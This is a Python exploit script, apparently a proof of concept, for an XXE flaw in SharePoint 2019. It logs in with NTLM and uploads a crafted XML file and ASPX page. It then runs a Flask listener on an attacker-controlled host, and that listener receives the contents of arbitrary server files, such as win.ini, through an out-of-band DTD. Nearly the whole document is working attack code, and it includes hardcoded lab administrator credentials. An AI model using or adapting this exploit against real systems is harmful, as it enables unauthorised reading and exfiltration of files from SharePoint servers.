README.md
Rendering markdown...
import os
import random
import string
import logging
from urllib.parse import unquote
import flask
from flask import Flask, send_file, request
import requests
from requests_ntlm import HttpNtlmAuth
from threading import Thread, Event
import time
flask.cli.show_server_banner = lambda *args: None
werkzeug_logger = logging.getLogger('werkzeug')
werkzeug_logger.disabled = True
app = Flask(__name__)
def GenerateRandomString(length):
characters = string.ascii_letters + string.digits
return "".join(random.choices(characters, k=length))
def GenerateEvilXmlAndAspx(variable_name, evil_dtd, sitepath):
evil_xml_content = f"""<?xml version="1.0" ?>\n<!DOCTYPE a [\n<!ELEMENT a ANY >\n<!ENTITY % remote SYSTEM "{evil_dtd}">
%remote;\n%int;\n%send;\n]>\n<a>wat</a>"""
evil_aspx_content = f"""<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<%@ Page Language="C#" %>
<%@ Register tagprefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta name="WebPartPageExpansion" content="full" />
<title>{variable_name}</title>
<meta http-equiv="X-UA-Compatible" content="IE=10" />
<SharePoint:CssRegistration Name="default" runat="server"/>
</head>
<body>
<form id="form{variable_name}" runat="server">
<SharePoint:SPXmlDataSource ID="XmlDataSource{variable_name}" runat="server" DataFile="file://localhost\\c${sitepath}/{variable_name}.xml" />
<asp:GridView ID="GridView{variable_name}" runat="server" DataSourceID="XmlDataSource{variable_name}" AutoGenerateColumns="true" />
</form>
</body>
</html>"""
with open(f"{variable_name}.xml", "w", encoding="utf-8", newline="") as evil_xml:
evil_xml.write(evil_xml_content)
with open(f"{variable_name}.aspx", "w", encoding="utf-8", newline="") as evil_aspx:
evil_aspx.write(evil_aspx_content)
def GetAuthSesion(username, password):
session = requests.Session()
session.auth = HttpNtlmAuth(username, password)
return session
def GetSiteID(url, sitepath, proxy, session):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
"Accept": "application/json;odata=verbose"
}
response = session.get(f"{url}/{sitepath}/_api/web", headers=headers, proxies=proxy, verify=False, timeout=20)
if response.status_code == 200:
data = response.json()
site_id = data['d']['Id']
print(f'Site ID: {site_id}')
else:
print(f'Error: {response.status_code}')
print(response.text)
def UploadFilesToWebRoot(url, sitepath, proxy, filepath, session):
file_name = os.path.basename(filepath)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
"Accept": "application/json;odata=verbose"
}
upload_url = f"{url}{sitepath}/_api/web/GetFolderByServerRelativeUrl('{sitepath}')/Files/add(url='{file_name}',overwrite=true)"
token_response = session.post(f"{url}{sitepath}/_api/contextinfo", headers=headers, proxies=proxy, verify=False,
timeout=20)
if token_response.status_code != 200:
print(token_response.text)
token = token_response.json()["d"]["GetContextWebInformation"]["FormDigestValue"]
with open(filepath, "rb") as file:
file_content = file.read()
headers = {
"Accept": "application/json;odata=verbose",
"Content-Type": "application/octet-stream",
"X-RequestDigest": token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
}
response = session.post(upload_url, headers=headers, data=file_content, proxies=proxy, verify=False, timeout=20)
if response.status_code == 200:
print(f"[+] Upload successfully: {url}{sitepath}/{file_name}")
else:
print(response.status_code)
print(response.text)
def TriggerRce(url, sitepath, proxy, filename, session):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
}
session.get(f"{url}{sitepath}/{filename}", proxies=proxy, headers=headers, verify=False, timeout=20)
def CreateDtdXml(dtdname, file_to_read, evilhost, port):
dtd_xml_content = f"""<!ENTITY % file SYSTEM "file:///{file_to_read}">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://{evilhost}:{port}/?p=%file;'>">"""
with open(dtdname, "w", encoding="utf-8") as dtd_xml:
dtd_xml.write(dtd_xml_content)
@app.route("/", methods=["GET"])
def HandleOOB():
global file_text
raw_url = request.url
file_text = unquote(raw_url.split("?p=")[1])
print(file_text)
file_received_event.set()
return ""
@app.route("/<path:filename>", methods=["GET"])
def HandleFile(filename):
if filename.endswith(".xml"):
return send_file(filename, as_attachment=True)
if __name__ == "__main__":
url = "http://sp2019/".strip("/")
sitepath = "/sites/cvetest"
proxy = {
"http": "127.0.0.1:8083",
"https": "127.0.0.1:8083"
}
# proxy = None
username = "CVE\\Administrator"
password = "1qaz@WSX!@#456"
dtdname = "dtd.xml"
evilhost = "192.168.198.1"
port = 8080
session = GetAuthSesion(username, password)
variable_name = GenerateRandomString(8)
GetSiteID(url, sitepath, proxy, session)
GenerateEvilXmlAndAspx(variable_name, f"http://{evilhost}:{port}/{dtdname}", sitepath)
UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.xml", session)
UploadFilesToWebRoot(url, sitepath, proxy, f"{variable_name}.aspx", session)
file_received_event = Event()
flask_thread = Thread(target=app.run, kwargs={'host': evilhost, 'port': port})
flask_thread.start()
while True:
file_to_read = input("[*] What file would you like to read? eg: c:/windows/win.ini > ").replace("\\", "/")
CreateDtdXml(dtdname, file_to_read, evilhost, port)
file_received_event.clear()
TriggerRce(url, sitepath, proxy, f"{variable_name}.aspx", session)
while not file_received_event.is_set():
time.sleep(1)